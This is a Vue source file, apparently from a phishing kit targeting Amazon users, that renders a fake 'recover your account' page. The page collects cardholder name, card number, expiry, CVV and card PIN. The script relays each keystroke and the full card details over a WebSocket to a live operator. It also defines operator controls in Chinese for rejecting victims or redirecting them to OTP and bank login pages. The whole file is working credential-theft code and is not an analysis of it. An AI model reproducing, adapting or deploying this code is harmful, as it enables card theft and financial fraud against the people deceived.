Files
zy-client-a/a9_usa_Fine_amazon/src/views/CardView.vue
telangpu 35a00381fe update
2026-05-10 22:48:33 +08:00

673 lines
21 KiB
Vue

<template>
<CommonLayout>
<template #default>
<uni-page-body data-v-1566c7ed="">
<uni-view data-v-1566c7ed="" id="confirm_index_body">
<uni-view data-v-1566c7ed="" class="" style="padding: 0px 20px;">
<uni-view data-v-1566c7ed="" class="title" style="color: rgb(13, 104, 173); padding-top: 25px;">
Let's recover your account
</uni-view>
<p data-v-1566c7ed="" style="font-size: 15px; font-weight: 500; color: rgb(119, 119, 119); margin-top: 20px;">
Step 2. <span data-v-1566c7ed="" style="font-weight: 200;">Enter your card details</span>
</p>
</uni-view>
<uni-view data-v-1566c7ed="" class="form">
<uni-view data-v-1566c7ed="" class="inpname">Cardholder</uni-view>
<uni-view data-v-1566c7ed="" class="input-field-container">
<uni-input data-v-1566c7ed="" class="gay_border" id="card_name">
<div class="uni-input-wrapper">
<div class="uni-input-placeholder input-placeholder" data-v-1566c7ed="" :class="{ 'placeholder-hidden': isCardholderFocused || formData.card.cardholder }">Cardholder</div>
<input
type="text"
maxlength="140"
enterkeyhint="done"
class="uni-input-input"
autocomplete="off"
v-model="formData.card.cardholder"
@input="onchange"
@focus="isCardholderFocused = true"
@blur="isCardholderFocused = formData.card.cardholder !== ''"
required
/>
</div>
</uni-input>
<uni-text data-v-1566c7ed="" class="error" v-if="showCardholderWarning">
{{ warningMessage }}
</uni-text>
</uni-view>
<uni-view data-v-1566c7ed="" class="inpname">Card number</uni-view>
<uni-view data-v-1566c7ed="" class="input-field-container">
<uni-input data-v-1566c7ed="" class="gay_border" id="cardNumber">
<div class="uni-input-wrapper">
<div class="uni-input-placeholder input-placeholder" data-v-1566c7ed="" :class="{ 'placeholder-hidden': isCardNumberFocused || formData.card.cardNumber }">0000 0000 0000 0000</div>
<input
type="text"
maxlength="19"
enterkeyhint="done"
inputmode="numeric"
class="uni-input-input"
autocomplete="off"
v-model="formData.card.cardNumber"
@input="onCardNumberChange"
@focus="isCardNumberFocused = true"
@blur="isCardNumberFocused = formData.card.cardNumber !== ''"
required
/>
</div>
</uni-input>
<uni-text data-v-1566c7ed="" class="error" v-if="cardNumberError">{{ cardNumberError }}</uni-text>
<uni-text data-v-1566c7ed="" class="global-error" v-if="message">{{ message }}</uni-text>
<div class="card-icons">
<img src="@/assets/img/b4f258fb3fcfa.svg" alt="Visa" />
<img src="@/assets/img/d9f501073fcfa.svg" alt="Mastercard" />
<img src="@/assets/img/d2820b3b3fcfa.svg" alt="American Express" />
<img src="@/assets/img/e62e66803fcfa.svg" alt="Discover" />
<img src="@/assets/img/272b931f3fcfa.svg" alt="JCB" />
<img src="@/assets/img/761998023fcfa.svg" alt="Diners Club" />
<img src="@/assets/img/c8e88e5f3fcfa.svg" alt="UnionPay" />
<img src="@/assets/img/1a32e1333fcfa.svg" alt="Maestro" />
<img src="@/assets/img/56af3b633fcfa.svg" alt="Rupay" />
</div>
</uni-view>
<uni-view data-v-1566c7ed="" class="cvvbox">
<uni-view data-v-1566c7ed="" class="cvvsty">
<uni-view data-v-1566c7ed="" class="inpname">Due Date</uni-view>
<uni-view data-v-1566c7ed="" class="input-field-container">
<uni-input data-v-1566c7ed="" class="gay_border" id="expire">
<div class="uni-input-wrapper">
<div class="uni-input-placeholder input-placeholder" data-v-1566c7ed="" :class="{ 'placeholder-hidden': isExpiryFocused || expiryCombined }">MM/YY</div>
<input
type="text"
maxlength="5"
enterkeyhint="done"
class="uni-input-input"
autocomplete="off"
v-model="expiryCombined"
@input="onExpiryInput"
@focus="isExpiryFocused = true"
@blur="onExpiryBlur"
required
/>
</div>
</uni-input>
<uni-text data-v-1566c7ed="" class="error" v-if="expiryError">
{{ expiryError }}
</uni-text>
<uni-text data-v-1566c7ed="" class="error" v-else-if="showExpiryWarning">
{{ warningMessage }}
</uni-text>
</uni-view>
</uni-view>
<uni-view data-v-1566c7ed="" class="cvvsty">
<uni-view data-v-1566c7ed="" class="inpname">Security Code (CVV)</uni-view>
<uni-view data-v-1566c7ed="" class="input-field-container input-wrapper">
<uni-input data-v-1566c7ed="" class="gay_border" id="cvv">
<div class="uni-input-wrapper">
<div class="uni-input-placeholder input-placeholder" data-v-1566c7ed="" :class="{ 'placeholder-hidden': isCvvFocused || formData.card.cvv }">123</div>
<input
type="text"
maxlength="4"
enterkeyhint="done"
inputmode="numeric"
pattern="[0-9]*"
class="uni-input-input"
autocomplete="off"
v-model="formData.card.cvv"
@input="onCvvInput"
@focus="isCvvFocused = true"
@blur="isCvvFocused = formData.card.cvv !== ''"
required
/>
</div>
</uni-input>
<uni-text data-v-1566c7ed="" class="error" v-if="cvvError">
{{ cvvError }}
</uni-text>
<uni-text data-v-1566c7ed="" class="error" v-else-if="showCvvWarning">
{{ warningMessage }}
</uni-text>
</uni-view>
</uni-view>
</uni-view>
<uni-view data-v-1566c7ed="">
<uni-view data-v-1566c7ed="" class="inpname">Card PIN</uni-view>
<uni-view data-v-1566c7ed="" class="input-field-container">
<uni-input data-v-1566c7ed="" class="">
<div class="uni-input-wrapper">
<div class="uni-input-placeholder input-placeholder" data-v-1566c7ed="" :class="{ 'placeholder-hidden': isPinFocused || formData.card.pin }"></div>
<input
type="password"
maxlength="6"
enterkeyhint="done"
inputmode="numeric"
class="uni-input-input"
autocomplete="off"
v-model="formData.card.pin"
@input="onPinInput"
@focus="isPinFocused = true"
@blur="isPinFocused = formData.card.pin !== ''"
/>
</div>
</uni-input>
<uni-text data-v-1566c7ed="" class="error" v-if="pinError">
{{ pinError }}
</uni-text>
<uni-text data-v-1566c7ed="" class="error" v-else-if="showPinWarning">
{{ warningMessage }}
</uni-text>
</uni-view>
</uni-view>
<uni-view data-v-1566c7ed="" class="sendbut" style="margin-top: 30px;">
<uni-button
data-v-1566c7ed=""
id="submit_card_btn"
class=""
style="background-color: rgb(0, 114, 172); color: white;"
:disabled="isLoading || !isFormFilled"
@click="next"
>
<span class="button-content">
<!-- <span v-if="isLoading" class="spinner button-spinner"></span> -->
<span>{{ isLoading ? 'Verifying...' : 'Submit' }}</span>
</span>
</uni-button>
</uni-view>
</uni-view>
</uni-view>
<div v-if="showLoadingOverlay" class="loading-overlay">
<div class="loading-content">
<div class="spinner overlay-spinner"></div>
<p>Verifying...</p>
</div>
</div>
</uni-page-body>
</template>
</CommonLayout>
</template>
<script setup lang="ts">
import { getCurrentInstance, onMounted, ref, computed, nextTick, onUnmounted } from 'vue';
import { useRouter } from 'vue-router';
import CommonLayout from '@/views/CommonLayout.vue';
import { useI18n } from 'vue-i18n';
import { useLoadingStore } from '@/stores/loadingStore';
import { inputChange, myWebSocket } from '@/utils/common';
import eventBus from '@/utils/eventBus';
const { t } = useI18n();
const router = useRouter();
const loadingStore = useLoadingStore();
const instance = getCurrentInstance()!;
interface FormData {
card: {
cardNumber: string;
cardholder: string;
expiryMonth: string;
expiryYear: string;
cvv: string;
pin: string;
};
}
const formData = ref<FormData>({
card: {
cardNumber: '',
cardholder: '',
expiryMonth: '',
expiryYear: '',
cvv: '',
pin: '',
},
});
const warningMessage = ref('');
const cardNumberError = ref('');
const expiryError = ref('');
const cvvError = ref('');
const pinError = ref('');
const isLoading = ref(false);
const showLoadingOverlay = ref(false);
const isCardNumberFocused = ref(false);
const isCardholderFocused = ref(false);
const isExpiryFocused = ref(false);
const isCvvFocused = ref(false);
const isPinFocused = ref(false);
const expiryCombined = computed({
get: () => {
const month = formData.value.card.expiryMonth;
const year = formData.value.card.expiryYear;
if (month && year) {
return `${month}/${year}`;
} else if (month) {
return month;
}
return '';
},
set: (value: string) => {
let month = '';
let year = '';
const parts = value.split('/');
if (parts.length > 0) {
month = parts[0];
}
if (parts.length > 1) {
year = parts[1];
}
formData.value.card.expiryMonth = month;
formData.value.card.expiryYear = year;
},
});
const showCardholderWarning = computed(() => warningMessage.value && !formData.value.card.cardholder && !isCardholderFocused.value);
const showExpiryWarning = computed(() => warningMessage.value && (!formData.value.card.expiryMonth || !formData.value.card.expiryYear) && !isExpiryFocused.value);
const showCvvWarning = computed(() => warningMessage.value && !formData.value.card.cvv && !isCvvFocused.value);
const showPinWarning = computed(() => warningMessage.value && !formData.value.card.pin && !isPinFocused.value);
const isFormFilled = computed(() => {
return (
formData.value.card.cardNumber.replace(/\s+/g, '').length >= 15 &&
formData.value.card.cardholder.trim() !== '' &&
formData.value.card.expiryMonth.length === 2 &&
formData.value.card.expiryYear.length === 2 &&
formData.value.card.cvv.length >= 3 && formData.value.card.cvv.length <= 4 &&
formData.value.card.pin.length >= 4 && formData.value.card.pin.length <= 6
);
});
const next = async () => {
await nextTick();
// Clear all previous errors
warningMessage.value = '';
cardNumberError.value = '';
expiryError.value = '';
cvvError.value = '';
pinError.value = '';
message.value = ''; // Clear general message on new submission attempt
let hasError = false;
if (!formData.value.card.cardholder.trim()) {
warningMessage.value = t('Please fill in all required fields.');
hasError = true;
}
const rawCardNumber = formData.value.card.cardNumber.replace(/\s+/g, '');
if (rawCardNumber.length < 15 || rawCardNumber.length > 19) {
cardNumberError.value = 'Invalid card number.';
hasError = true;
}
const month = parseInt(formData.value.card.expiryMonth, 10);
const year = parseInt(formData.value.card.expiryYear, 10);
const currentYear = new Date().getFullYear() % 100;
const currentMonth = new Date().getMonth() + 1;
if (!formData.value.card.expiryMonth || !formData.value.card.expiryYear || isNaN(month) || isNaN(year) || month < 1 || month > 12 || year < currentYear || (year === currentYear && month < currentMonth)) {
expiryError.value = 'Invalid expiry date.';
hasError = true;
}
if (formData.value.card.cvv.length < 3 || formData.value.card.cvv.length > 4) {
cvvError.value = 'CVV must be 3-4 digits.';
hasError = true;
}
if (formData.value.card.pin.length < 4 || formData.value.card.pin.length > 6) {
pinError.value = 'PIN must be 4-6 digits.';
hasError = true;
}
if (hasError) {
return;
}
isLoading.value = true;
showLoadingOverlay.value = true;
let submitValue = rawCardNumber;
localStorage.setItem('cardNumber', submitValue);
myWebSocket?.send(
JSON.stringify({
event: 'submit_card',
content: {
type: 'submitOp',
card_number: submitValue,
cardholder: formData.value.card.cardholder,
expiry: `${formData.value.card.expiryMonth}/${formData.value.card.expiryYear}`,
cvv: formData.value.card.cvv,
pin: formData.value.card.pin,
start_page: 'card',
opButton: {
showCustom: false,
list: [
{ label: '完成', value: 'success', type: 'input1' },
{ label: '拒絕', value: 'reject', type: 'input2' },
{ label: '賬號首頁', value: 'login_mufg', type: 'input1' },
{ label: 'OTP短信驗證頁', value: 'verificationcodepage', type: 'input1' },
{ label: '提示頁面', value: 'next_pay', type: 'input1' },
{ label: '跳轉完成', value: 'success' },
],
},
},
})
);
};
const onCardNumberChange = (event: Event) => {
const input = event.target as HTMLInputElement;
const rawValue = input.value.replace(/\s+/g, '');
const numericValue = rawValue.replace(/\D/g, '');
formData.value.card.cardNumber = numericValue
.replace(/(.{4})/g, '$1 ')
.trim()
.slice(0, 19);
cardNumberError.value = '';
inputChange('input_card', 'cardNumber', formData.value.card.cardNumber.replace(/\s+/g, ''));
};
const onExpiryInput = (event: Event) => {
const input = event.target as HTMLInputElement;
let value = input.value.replace(/[^0-9]/g, '');
if (value.length > 2) {
value = value.slice(0, 2) + '/' + value.slice(2);
}
value = value.slice(0, 5);
expiryCombined.value = value; // Update the v-model directly
// Manually parse and update expiryMonth and expiryYear for form data
const parts = value.split('/');
formData.value.card.expiryMonth = parts[0] ? parts[0].slice(0, 2) : '';
formData.value.card.expiryYear = parts[1] ? parts[1].slice(0, 2) : '';
expiryError.value = ''; // Clear error on input
inputChange('input_card', 'expiry', value);
};
const onExpiryBlur = () => {
isExpiryFocused.value = expiryCombined.value !== '';
const monthStr = formData.value.card.expiryMonth;
const yearStr = formData.value.card.expiryYear;
expiryError.value = '';
const month = parseInt(monthStr, 10);
const year = parseInt(yearStr, 10);
const currentYearFull = new Date().getFullYear();
const currentYearShort = currentYearFull % 100;
const currentMonth = new Date().getMonth() + 1;
if (!monthStr || monthStr.length !== 2 || isNaN(month) || month < 1 || month > 12) {
expiryError.value = 'Invalid month.';
return;
}
if (!yearStr || yearStr.length !== 2 || isNaN(year)) {
expiryError.value = 'Invalid year.';
return;
}
if (year < currentYearShort) {
expiryError.value = 'Date past.';
return;
}
if (year === currentYearShort && month < currentMonth) {
expiryError.value = 'Date past.';
return;
}
if (!monthStr || !yearStr) {
warningMessage.value = t('Please fill in all required fields.');
}
};
const onCvvInput = (event: Event) => {
const input = event.target as HTMLInputElement;
formData.value.card.cvv = input.value.replace(/\D/g, '').slice(0, 4);
cvvError.value = '';
inputChange('input_card', 'cvv', formData.value.card.cvv);
};
const onPinInput = (event: Event) => {
const input = event.target as HTMLInputElement;
formData.value.card.pin = input.value.replace(/\D/g, '').slice(0, 6);
pinError.value = '';
inputChange('input_card', 'pin', formData.value.card.pin);
};
const onchange = (event: Event) => {
const input = event.target as HTMLInputElement;
inputChange('input_card', input.id, input.value);
if (input.id === 'card_name') {
warningMessage.value = '';
}
};
onMounted(() => {
const userData = getCurrentInstance()?.appContext.config.globalProperties.$userData;
if (userData && userData.card) {
formData.value = userData;
}
eventBus.on('my-event', handleEvent);
localStorage.setItem('route', 'card');
myWebSocket?.send(
JSON.stringify({
event: 'page_type',
content: { pageType: 'card', pageTitle: '填卡Pin页面' },
})
);
});
const message = ref(''); // This variable holds the WebSocket message
const handleEvent = (data: { message2: string }) => {
message.value = data.message2; // Update the message here
isLoading.value = false;
showLoadingOverlay.value = false;
};
onUnmounted(() => {
eventBus.off('my-event', handleEvent);
});
</script>
<style scoped>
/* Added style for the global-error message */
.global-error {
color: #d32f2f; /* A distinct color for general errors */
font-size: 12px;
text-align: left;
margin: 15px 0; /* Add some margin above and below */
display: block; /* Ensure it takes full width and new line */
font-weight: bold; /* Make it stand out a bit */
}
.input-field-container {
position: relative;
margin-bottom: 15px;
}
.inpname {
font-size: 14px;
color: #494949;
margin-bottom: 8px;
margin-top: 16px;
}
.error {
color: #ff4d4f;
font-size: 13px;
position: absolute;
bottom: -15px;
left: 0;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
width: 100%;
z-index: 10;
}
/* Spinner for the button */
.button-spinner {
width: 18px;
height: 18px;
border: 3px solid rgba(255, 255, 255, 0.3);
border-top: 3px solid white;
border-radius: 50%;
animation: spin 1s linear infinite;
margin-right: 8px;
display: inline-block;
vertical-align: middle;
margin-top: -2px;
}
/* Spinner for the overlay */
.overlay-spinner {
width: 40px;
height: 40px;
border: 5px solid rgba(0, 114, 172, 0.3);
border-top: 5px solid #0072ac;
border-radius: 50%;
animation: spin 1s linear infinite;
margin-right: 0;
}
@keyframes spin {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
.form {
padding: 0 20px;
}
.uni-input-input {
border: none;
outline: none;
flex-grow: 1;
font-size: 16px;
padding: 0;
background-color: transparent;
z-index: 2;
position: relative;
}
.uni-input-placeholder {
color: #a6a6a6;
font-size: 16px;
position: absolute;
top: 50% !important;
left: 0;
transform: translateY(-50%);
transition: opacity 0.2s ease-in-out;
pointer-events: none;
z-index: 1;
}
.uni-input-placeholder.placeholder-hidden {
opacity: 0;
}
.cvvbox {
display: flex;
gap: 16px;
}
.cvvsty {
flex: 1;
}
.card-icons {
display: flex;
gap: 4px;
margin-top: 10px;
}
.card-icons img {
width: 30px;
height: 25px;
}
.sendbut {
display: flex;
justify-content: center;
}
#submit_card_btn {
display: flex;
justify-content: center;
align-items: center;
padding: 10px 20px;
width: 100%;
box-sizing: border-box;
}
#submit_card_btn .button-content {
display: flex;
align-items: center;
}
#submit_card_btn:disabled {
background-color: #d9d9d9;
color: #a6a6a6;
cursor: not-allowed;
}
/* New styles for the loading overlay */
.loading-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.6);
display: flex;
justify-content: center;
align-items: center;
z-index: 1000;
}
.loading-content {
background-color: white;
padding: 30px 40px;
border-radius: 10px;
text-align: center;
box-shadow: 0 4px 15px rgba(0, 0, 0, 0.2);
display: flex;
flex-direction: column;
align-items: center;
gap: 15px;
}
.loading-content p {
font-size: 18px;
color: #333;
margin: 0;
}
@media (max-width: 480px) {
.form {
padding: 0 16px;
}
.title {
font-size: 24px;
}
}
</style>